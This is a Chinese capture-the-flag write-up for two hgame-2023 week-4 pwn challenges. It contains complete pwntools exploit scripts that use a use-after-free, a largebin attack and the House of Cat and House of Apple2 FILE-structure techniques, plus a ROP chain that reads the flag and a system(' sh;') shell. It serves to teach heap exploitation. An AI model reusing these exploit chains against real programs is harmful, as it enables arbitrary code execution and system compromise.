hgame-2023
week4
withouthook
存在UAF,跟week3先是一样,利用largebinattack,在IO_list_all写入可控堆地址,再伪造IO_FILE打IO即可
我这里使用的是house of cat
调用链:
_IO_wfile_seekoff
_IO_switch_to_wget_mode(fp)
_IO_WOVERFLOW(fp,WEOF)
脚本如下:
from pwn import *
#p=remote("week-4.hgame.lwsec.cn",31394)
p=process("./withouthook")
libc=ELF("./libc.so.6")
menu=">"
def add(index,size):
p.sendlineafter(menu,'1')
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
def delete(index):
p.sendlineafter(menu,'2')
p.sendlineafter("Index: ",str(index))
def edit(index,content):
p.sendlineafter(menu,'3')
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)
def show(index):
p.sendlineafter(menu,'4')
p.sendlineafter("Index: ",str(index))
def debug():
gdb.attach(p)
pause()
#=============
# house of cat
#=============
def pwn():
add(0,0x520)
add(1,0x508)
add(2,0x510)
add(3,0x500)
delete(0)
delete(2)
show(2)
heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x290
print("heap_base-->"+hex(heap_base))
add(4,0x510)# 2&4 unsortedbin
delete(2)
show(0)# largebin
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x1f70f0
_IO_list_all=libc_base+libc.sym["_IO_list_all"]
_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]
setcontext=libc_base+libc.sym["setcontext"]+61
open_addr=libc_base+libc.sym["open"]
svcudp_reply=libc_base+0x162f0a
magic=libc_base+0x8c265
syscall_ret=libc_base+0x8cb16
pop_rdi_ret=libc_base+0x23ba5
pop_rsi_ret=libc_base+0x251fe
pop_rdx_rbx_ret=libc_base+0x8bbb9
pop_rax_ret=libc_base+0x3f923
pop_rsp_ret=libc_base+0x2eb71
leave_ret=libc_base+0x50757
ret_addr=libc_base+0x22d19
print("libc_base-->"+hex(libc_base))
payload=p64(libc_base+0x1f70f0)*2+p64(heap_base+0x290)+p64(_IO_list_all-0x20)
edit(0,payload)
add(5,0x550)# 2&4 into largebin & largebin attack
heap1_addr=heap_base+0x7d0
heap3_addr=heap_base+0x1200
heap5_addr=heap_base+0x1710
fake_IO_file=''
fake_IO_file=fake_IO_file.ljust(0x68-0x10,'\x00')+p64(heap5_addr)
edit(4,fake_IO_file)
fake_io_addr=heap5_addr
fake_IO_FILE = p64(0)# _flags=rdi
fake_IO_FILE +=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(heap1_addr)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext)# _IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # (assert)vtable=IO_wfile_jumps+0x10 & (fsop)_IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
edit(5,fake_IO_FILE)
rop='./flag\x00\x00'
rop=rop.ljust(0xa0,'\x00')+p64(heap1_addr+0x200)+p64(ret_addr)
orw=p64(pop_rdi_ret)+p64(heap1_addr)
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap1_addr+0x150)
orw+=p64(pop_rdx_rbx_ret)+p64(0x45)+p64(0)
orw+=p64(pop_rax_ret)+p64(0)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap1_addr+0x150)
orw+=p64(pop_rdx_rbx_ret)+p64(0x45)+p64(0)
orw+=p64(pop_rax_ret)+p64(1)
orw+=p64(syscall_ret)
rop=rop.ljust(0x200,'\x00')+orw
edit(1,rop)
#gdb.attach(p)
p.sendlineafter(menu,'5')
p.interactive()
pwn()
4nswer’s gift
比上一题还简单,直接告诉你IO_list_all的地址,以此能得到libc_base,然后把你申请size大小的chunk的链入IO_list_all,就可以直接打IO,用house of apple2即可,详细学习链接见,week3的largenote
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./gift'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='week-4.hgame.lwsec.cn'
port='32622'
p=remote(host,port)
#================
# house of apple2
#================
def pwn():
p.recvuntil("this: ")
libc_base=int(p.recv(14),16)-libc.sym["_IO_list_all"]
system_addr=libc_base+libc.sym["system"]
_IO_str_jumps=libc_base+0x1f36a0
_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()
print("libc_base-->"+hex(libc_base))
p.recvuntil("gift?")
p.sendline(str(0x30000))
heap_addr=libc_base-0x33ff0
print("heap_addr-->"+hex(heap_addr))
fake_IO_FILE=' sh;'.ljust(8,'\x00')
fake_IO_FILE=fake_IO_FILE.ljust(0x28,'\x00')+p64(1)# _write_ptr
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,'\x00')+p64(heap_addr+0x100)# _wide_data
fake_IO_FILE=fake_IO_FILE.ljust(0xd8,'\x00')+p64(_IO_wfile_jumps)# _vtable
fake_IO_FILE=fake_IO_FILE.ljust(0x100,'\x00')
fake_wide_data=''
fake_wide_data=fake_wide_data.ljust(0xe0,'\x00')+p64(heap_addr+0x200)# _wide_vtable
fake_wide_data=fake_wide_data.ljust(0x100,'\x00')
fake_vtable=''
fake_vtable=fake_vtable.ljust(0x68,'\x00')+p64(system_addr)
fake_IO_FILE=fake_IO_FILE+fake_wide_data+fake_vtable
p.recvuntil("gitf?")
#gdb.attach(p)
p.send(fake_IO_FILE)
p.interactive()
pwn()
后言:
从四周的hgame学到了很多东西,只能说出题人很有想法,后两周出的都是高版本的glibc,虽然难上很多,但是更容易对接现在的题目类型,我本人也是第一次打高版本,一开始觉得很难,但是出题人给的都是直接的UAF,使攻击方法更容易实现,主要学的是新的攻击方法,也学到了一些常用的打IO的方法,受益匪浅,最后也是在woodwhale学长,niyah学长的帮助下(十分感谢这两位学长),成功ak了hgame的pwn,太开心力